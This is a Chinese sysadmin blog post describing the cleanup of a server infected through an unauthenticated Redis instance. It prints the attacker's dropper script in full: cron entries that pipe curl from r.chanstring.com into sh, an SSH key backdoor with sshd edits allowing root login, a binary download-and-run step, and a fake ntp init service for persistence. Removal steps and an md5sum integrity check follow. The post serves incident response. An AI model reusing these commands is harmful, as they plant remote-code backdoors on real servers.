天天看點

redis非授權通路的查毒過程

9月某天日晚,阿裡雲背景報告有一台伺服器在異地登入的告警,初步懷疑是被入侵了,臨時采取關閉這台伺服器的方法避免對叢集中的其他主機造成危害。

第二天,開始排查原因。

首先在伺服器上發現一個額外的計劃任務(下圖是解決過程中被我注釋掉了)

聯想到這個機器上跑有redis,基本斷定是redis的未加密碼導緻的非授權通路。

根據以往經驗,linux上的這個病毒通常是DDOS或者挖礦程式。下面來慢慢分析。

我們根據crontab裡面的網址,我們到chrome裡面輸入這個連結下載下傳下看下檔案内容,(建議在虛拟機裡操作,防止這個檔案是浏覽器0day利用腳本),

下面是wget 下載下傳到的pm.sh,内容如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root

mkdir-p /var/spool/cron/crontabs

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then

    mkdir -p ~/.ssh

    rm -f ~/.ssh/authorized_keys*

    echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

    echo "PermitRootLogin yes">> /etc/ssh/sshd_config

    echo "RSAAuthentication yes">> /etc/ssh/sshd_config

    echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config

    echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

    /etc/init.d/sshd restart

fi

if[ ! -f "/etc/init.d/ntp" ]; then

    if [ ! -f"/etc/systemd/system/ntp.service" ]; then

       mkdir -p /opt

       curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install

    fi

/etc/init.d/ntpstart

psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9

psauxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

根據這個腳本的内容,我們大緻就知道他的作案手段了:

1、利用redis非授權入侵

2、下載下傳腳本,寫入crontab定時執行,確定病毒的再生。

3、修改伺服器sshd登入為他自己的秘鑰。

4、根據http://r.chanstring.com/v51/lady_`uname-m`  這樣能根據系統版本來自動下載下傳比對目前版本的病毒,確定病毒的正常運作。将病毒釋放到/opt目錄下,檔案名KHK75NEOiq33。

5、/opt/KHK75NEOiq33 -Install 這步操作應該是釋放出病毒檔案(如下的ntp)【hexdump -C /opt/KHK75NEOiq33 可以看到檔案内容,但是好像是加密了。暫不具備反彙編能力,無法獲知這個指令感染了哪些檔案】

6、僞造ntp服務,給管理者造成迷惑,駐留背景。(Linux下是沒有ntp服務的,有的是ntpd服務)

附發現的僞造的/etc/init.d/ntp檔案内容:

#!/bin/sh

#For RedHat and cousins:

#chkconfig: - 99 01

#description: NTP daemon

#processname: /usr/sbin/ntp

###BEGIN INIT INFO

#Provides:          /usr/sbin/ntp

#Required-Start:

#Required-Stop:

#Default-Start:     2 3 4 5

#Default-Stop:      0 1 6

#Short-Description: NTP daemon

#Description:       NTP daemon

###END INIT INFO

cmd="/usr/sbin/ntp "-D""

# 正常的系統上不存在這個可執行程式,可以斷定是/opt/KHK75NEOiq33-Install 釋放出來的

# 将這個檔案和/opt/KHK75NEOiq33 -Install 通過diff指令比對,發現是同一個檔案。

name=$(basename$0)

pid_file="/var/run/$name.pid"

stdout_log="/var/log/$name.log"

stderr_log="/var/log/$name.err"

get_pid(){

    cat "$pid_file"

}

is_running(){

    [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1

case"$1" in

    start)

        if is_running; then

            echo "Already started"

        else

            echo "Starting $name"

            $cmd >>"$stdout_log" 2>> "$stderr_log" &

            echo $! > "$pid_file"

            if ! is_running; then

                echo "Unable to start, see$stdout_log and $stderr_log"

                exit 1

            fi

        fi

    ;;

    stop)

            echo -n "Stopping$name.."

            kill $(get_pid)

            for i in {1..10}

            do

                if ! is_running; then

                    break

                fi

                echo -n "."

                sleep 1

            done

            echo

            if is_running; then

                echo "Not stopped; maystill be shutting down or shutdown may have failed"

            else

                echo "Stopped"

                if [ -f "$pid_file"]; then

                    rm "$pid_file"

            echo "Not running"

    restart)

        $0 stop

            echo "Unable to stop, will notattempt to start"

            exit 1

        $0 start

    status)

            echo "Running"

            echo "Stopped"

    *)

    echo "Usage: $0{start|stop|restart|status}"

    exit 1

esac

exit0

chkconfig--list|grep 3:on 可以看到ntp這個僞裝的服務被設定為開機自啟動了。

<a href="http://s1.51cto.com/wyfs02/M01/88/20/wKioL1fqQDiikzQ6AABTSc_qbGY901.png" target="_blank"></a>

解決方法:

chkconfig ntp off

chkconfig --del ntp

先拷貝出ntp這個啟動腳本,然後rm -f /etc/init.d/ntp

先拷貝出/usr/sbin/ntp /opt/KHK75NEOiq33這2個病毒檔案,然後rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒檔案

編輯 /var/spool/cron/crontabs/root和 /var/spool/cron/root,清除植入的cron計劃任務

此外,還要檢查以下幾處:

1、是否有新添加的賬戶 【grep '/bin/bash' /etc/passwd】

2、檢視其他可登陸的賬戶下是否也有惡意的計劃任務

3、檢查是否有新添加了sudo賬戶

當然,這是台線上的伺服器,為了防止還有殘留的病毒檔案,最好我們還是先備份下資料,然後重裝了系統。

安全政策:

給redis做密碼授權通路,不要綁定在0.0.0.0:6379端口。

開啟iptables防火牆,隻允許部分主機通路redis端口

編寫腳本,定期檢查彙報重要檔案的md5sum。

附一個之前寫過檢測md5sum的腳本:

step1、首先在新安裝的無問題的電腦上執行下面幾條指令,将MD5SUM儲存下來,作為原始模闆:

#!/bin/bash

#記錄原始的執行檔案的md5sum

if[[ ! -d /var/md5sum/ ]];then

    mkdir /var/md5sum -p

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum &gt;&gt;/var/md5sum/md5sum.log.ori

done

step2、下面是我的/home/scripts/chkmd5sum.sh腳本,作用是檢查相關目錄的md5sum是否發生變化。

#需要配置計劃任務定期執行這個腳本,比對md5sum是否發生變化,變化則自動告警。

rm-f /tmp/md5sum*

    find $i -maxdepth 1 -type f | xargs -n1 md5sum &gt;&gt; /tmp/md5sum.log_`date+%F`

if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori &gt; /tmp/md5sum_status ;then

    cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." [email protected]

rm-f /tmp/md5sum_status

step3、添加定時任務,每天檢查一遍,有變化就發送郵件告警(要求高的話,可以每天檢查2次或更多)

echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh &gt; /dev/null 2&gt;&amp;1'&gt;&gt; /var/spool/cron/root

去chinaz.com檢視下這個域名,結果也在預料之内,注冊在國外,未備案。

<a href="http://s3.51cto.com/wyfs02/M01/88/20/wKioL1fqQH-DMM8LAABSQVXOWz4927.png" target="_blank"></a>

<a href="http://s3.51cto.com/wyfs02/M02/88/23/wKiom1fqQH_CZ6LZAAEKOnRAK5U444.png" target="_blank"></a>

<a href="http://s5.51cto.com/wyfs02/M02/88/20/wKioL1fqQIDAcNDiAACdE79SKP4017.png" target="_blank"></a>

<a href="http://s3.51cto.com/wyfs02/M00/88/20/wKioL1fqQIHy4r6JAAGA5BIQpL8553.png" target="_blank"></a>

本文轉自 lirulei90 51CTO部落格,原文連結:http://blog.51cto.com/lee90/1857073,如需轉載請自行聯系原作者